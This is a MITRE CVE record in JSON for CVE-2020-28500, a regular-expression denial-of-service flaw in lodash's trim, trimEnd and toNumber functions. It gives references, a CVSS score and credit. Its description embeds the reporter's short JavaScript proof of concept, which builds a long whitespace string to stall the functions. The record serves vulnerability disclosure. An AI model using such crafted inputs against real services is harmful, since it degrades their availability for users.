cvelist/2020/28xxx/CVE-2020-28500.json

{
    "data_type": "CVE",
    "data_format": "MITRE",
    "data_version": "4.0",
    "CVE_data_meta": {
        "ASSIGNER": "report@snyk.io",
        "DATE_PUBLIC": "2021-02-15T11:10:02.896752Z",
        "ID": "CVE-2020-28500",
        "STATE": "PUBLIC",
        "TITLE": "Regular Expression Denial of Service (ReDoS)"
    },
    "affects": {
        "vendor": {
            "vendor_data": [
                {
                    "product": {
                        "product_data": [
                            {
                                "product_name": "lodash",
                                "version": {
                                    "version_data": [
                                        {
                                            "version_affected": ">=",
                                            "version_value": "0"
                                        }
                                    ]
                                }
                            }
                        ]
                    },
                    "vendor_name": "n/a"
                },
                {
                    "product": {
                        "product_data": [
                            {
                                "product_name": "org.fujion.webjars:lodash",
                                "version": {
                                    "version_data": [
                                        {
                                            "version_affected": ">=",
                                            "version_value": "0"
                                        }
                                    ]
                                }
                            }
                        ]
                    },
                    "vendor_name": "n/a"
                }
            ]
        }
    },
    "problemtype": {
        "problemtype_data": [
            {
                "description": [
                    {
                        "lang": "eng",
                        "value": "Regular Expression Denial of Service (ReDoS)"
                    }
                ]
            }
        ]
    },
    "references": {
        "reference_data": [
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JS-LODASH-1018905",
                "name": "https://snyk.io/vuln/SNYK-JS-LODASH-1018905"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892",
                "name": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893",
                "name": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894",
                "name": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895",
                "name": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896",
                "name": "https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896"
            },
            {
                "refsource": "MISC",
                "url": "https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8",
                "name": "https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8"
            },
            {
                "refsource": "MISC",
                "url": "https://github.com/lodash/lodash/pull/5065",
                "name": "https://github.com/lodash/lodash/pull/5065"
            }
        ]
    },
    "description": {
        "description_data": [
            {
                "lang": "eng",
                "value": "All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = \"1\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"1\"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log(\"time_cost0: \" + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log(\"time_cost1: \" + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log(\"time_cost2: \" + time_cost2)"
            }
        ]
    },
    "impact": {
        "cvss": {
            "version": "3.1",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "LOW"
        }
    },
    "credit": [
        {
            "lang": "eng",
            "value": "Liyuan Chen"
        }
    ]
}